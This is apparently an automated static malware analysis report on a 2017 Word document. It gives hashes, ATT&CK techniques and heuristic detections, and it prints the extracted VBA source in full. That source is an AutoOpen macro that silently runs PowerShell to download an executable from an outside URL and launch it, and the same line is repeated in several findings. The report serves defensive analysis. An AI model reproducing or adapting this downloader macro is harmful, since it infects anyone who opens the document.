Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d9feb7bbbc0db73…

MALICIOUS

Office (OLE)

28.5 KB Created: 2017-11-09 22:20:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: ba61ba00886544d9b0c9d6338b1cbeb5 SHA-1: 87b917a46ffde0c79d4dd7597584bbb08876ee3f SHA-256: 6d9feb7bbbc0db73e8163e243088f97129410b96742bcdcbf3328b786353b8e0
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that executes a PowerShell command. This command downloads a second-stage executable from the URL https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282 and saves it as %APPDATA%\Example.exe before executing it. The use of AutoOpen and Shell() calls in VBA, along with PowerShell execution, are strong indicators of malicious intent.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282','%APPDATA%\Example.exe');Start-Process '%APPDATA%\Example.exe'"
    Shell (c)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim c As String
    c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282','%APPDATA%\Example.exe');Start-Process '%APPDATA%\Example.exe'"
    Shell (c)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 669 bytes
SHA-256: e978a465cc70160d30e5fa17a6a34493c14f24bd95577cfec3b110c0b54662ea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

    Call srdelowz

End Sub


Sub srdelowz()
    Dim c As String
    c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282','%APPDATA%\Example.exe');Start-Process '%APPDATA%\Example.exe'"
    Shell (c)
End Sub

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